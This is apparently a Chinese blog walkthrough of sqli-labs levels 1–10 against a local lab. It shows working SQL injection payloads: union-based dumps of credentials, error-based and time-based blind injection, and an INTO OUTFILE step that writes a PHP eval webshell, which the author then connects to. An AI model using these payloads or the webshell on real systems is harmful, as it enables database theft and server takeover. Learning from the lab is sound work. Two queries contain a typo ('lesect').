1. 程式人生 > >sqli-labs闖關指南 1—10

sqli-labs闖關指南 1—10

如果你是使用的phpstudy,請務必將sql的版本調到5.5以上,因為這樣你的資料庫內才會有information_schema資料庫,方便進行實驗測試。另外-- (這裡有一個空格,--空格)在SQL內表示註釋,但在URL中,如果在最後加上-- ,瀏覽器在傳送請求的時候會把URL末尾的空格捨去,所以我們用--+代替-- ,原因是+在URL被URL編碼後會變成空格。第一關1.經過語句and 1=2測試 ,頁面回顯正常,所以該地方不是數值查詢2.接著嘗試在id後面加上',發現頁面回顯不正常,表示可能存在SQL字元注入3.輸入--+將sql後面的語句注視掉後,發現頁面回顯正常,則證明這個地方是單引號字元型注入
4.接著使用order by 語句判斷,該表中一共有幾列資料  order by 3頁面回顯正常,order by 4頁面回顯不正常,說明此表一個有3列。5.將id=1改為一個數據庫不存在的id值,如861,使用union select 1,2,3聯合查詢語句檢視頁面是否有顯示位。發現頁面先輸出了2和3,說明頁面有2個顯示位6.然後利用sql查詢語句依次爆破出資料庫內的資料庫名,表名,列名,欄位資訊例子:http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+這是一個查詢資料庫名資訊的語句
查詢security內的所有表名http://127.0.0.1/sqli-labs/Less-1/?id=861' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+接著使用下面的語句爆破出列名select group_concat(column_name) from information_schema.columns where table_name='users'
接著使用如下語句查詢所有的使用者名稱,密碼lesect group_concat(password) from security.userslesect group_concat(username) from security.users第二關、1.輸入?id=2-1頁面資訊發生變化,說明此處是數值型注入2.order by 3  頁面顯示正常,order by 4頁面顯示不正常,所以該表有3列資料接著可以使用聯合查詢進行注入,詳細過程參考第一關第三關、1.向頁面輸入?id=2'  --+頁面顯示不正常,但是輸入  ?id=2') --+ 頁面回顯正常,說明此處是字元型注入,而且是以 ('')的方式閉合字串的2.接著使用order by 判斷表中有3列資料3.接著使用聯合查詢,union select 1,2,3 判斷頁面是否有顯示位   答案:有下面使用第一關所使用的查詢語句,測試一下頁面顯示沒有問題第四關、與第三關類似,第四關使用   ("")   的方式閉合字串,然後可以優先使用聯合查詢注入1.當輸入?id=3" --+時,頁面顯示不正常2.當輸入?id=3") --+第五關、1.經錯測試發現,當輸入?id=3時頁面顯示正常,具體如下當輸入?id=486頁面顯示如下說明頁面沒有顯示位。無法使用聯合查詢注入2.接著我們嘗試在URL中輸入  ?id=2' 頁面出現錯誤語句如下頁面出現SQL語句報錯,在這裡我們就可以使用一種新的注入方式:報錯注入首先介紹三種報錯注入常用的語句:(1). 通過floor報錯and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)其中payload為你要插入的SQL語句需要注意的是該語句將 輸出字元長度限制為64個字元(2). 通過updatexml報錯and updatexml(1,payload,1)同樣該語句對輸出的字元長度也做了限制,其最長輸出32位並且該語句對payload的反悔型別也做了限制,只有在payload返回的不是xml格式才會生效(3). 通過ExtractValue報錯and extractvalue(1, payload)輸出字元有長度限制,最長32位。payload即我們要輸入的sql查詢語句3.在這裡我們使用floor報錯語句進行注入?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+這裡發現頁面提示我輸出資訊超過一行,但我們已經使用了group_concat函式,說明這裡資料庫名組成的字串長度超過了64位,所以我們需要放棄group_concat函式,而使用limit 0,1來一個個輸出group_concat()函式的作用:將返回資訊拼接成一行顯示limit 0,1  表示輸出第一個資料。   0表示輸出的起始位置,1表示跨度為1(即輸出幾個資料,1表示輸出一個,2就表示輸出兩個)接著我們運用如下語句:and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+需要注意的是,此時資料庫名並不是 information_schema1這個1是floor報錯語句中輸出的也一部分(無論輸出什麼結果,都會有這個1)為了防止某些時候,我們誤以為這個1也是我們查詢結果的一部分,我建議大家使用一個;與它分開,語句如下:?id=2' and (select 1 from (select count(*),concat(((select concat(schema_name,';') from information_schema.schemata limit 0,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+下面我們更該我們的payload一個個的查詢我們要找的資料即可,這裡不再演示第六關、與第5關類似,只不過這一關使用的是  ""的方式閉合字串我們只需要將?id=2' 改為 ?id=2"即可其餘過程不再贅述,請參考第五關第七關、想了一下,可能會有很多小白和我一樣,對資料庫file許可權和 into outfile這個命令比較陌生,所以在這裡科普一下file許可權和into outfile這個函式。資料庫的file許可權規定了資料庫使用者是否有許可權向作業系統內寫入和讀取已存在的許可權into outfile命令使用的環境:我們必須知道,伺服器上一個可以寫入檔案的資料夾的完整路徑1.我們正常輸入?id=1頁面回顯如下2.當我們輸入 and 1=2 頁面顯示依然正常,說明不是數值型注入3.當我們輸入?id=1'頁面報錯,說明可能存在"注入4..當我們輸入?id=1' --+頁面顯示依然不正常5.接著我們嘗試?id=1') --+,頁面依然顯示不正常,有點難受,不過沒關係6.我們可以接著輸入?id=5'))  --+嘗試,發現頁面回顯正常7. 由於本關卡提示我們使用file許可權向伺服器寫入檔案,我們就先嚐試下寫資料由於我用的是phpstudy搭建的環境,所以我直接在我本機取一個目錄就好C:\phpStudy\PHPTutorial\MySQL\data然後使用union select 1,2,3 into outfile "C:\phpStudy\PHPTutorial\MySQL\data\chao.php" 嘗試寫入檔案。然後去本機資料夾下檢視檔案是否寫入成功。寫入成功了,但是檔名變成了如圖紅色表示的那樣!!接著我進行了好多次嘗試,最後被同學告知,需要使用\\來代替目錄中的\ ,具體原因我也不知道,後續會補上。  命令如下:union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\MySQL\\data\\chao.php"檔案匯入成功!,接著我們檢視chao.php的內容需要注意的是利用資料庫file許可權向作業系統寫入檔案時, 對於相同檔名的檔案不能覆蓋,所以如果第一次上傳chao.php,下次在上傳chao.php,就是無效命令了,也就是新的chao,php中的內容並不會覆蓋,之前的chao.php我們再嘗試上傳一句話木馬,具體命令?id=-1'))  union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\123456.php" --+接著試著訪問一下這個檔案上傳成功,使用菜刀連結下

連線成功!!!!第八關、1.?id=2' --+ 頁面回顯正常,不贅述了,這裡是單引號字元型注入2.頁面沒有顯示位,沒有資料庫報錯資訊。我們先嚐試一下是否有file許可權http://127.0.0.1/sqli-labs/Less-8/?id=2' union select 1,2,3 into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\88888.php"--+上傳成功
當然我嘗試下了下布林和時間盲注,都是可以的第九關、這裡我們嘗試使用單引號和雙引號閉合,發現頁面回顯一直正常,說明該關卡可能將我們的單雙引號給退意了。但是我輸入%df之後頁面回顯依然正常,這個時候我覺得應該是無論我輸入什麼頁面回顯都是一樣的。所以我嘗試使用sleep()函式來測試經過多次嘗試,這裡是單引號閉合的時間注入' and sleep(5)第十關、基於雙引號的時間注入?id=2" and sleep(5) --+這裡我就不在一個一個字母的去測試了,大家瞭解一下時間盲注就好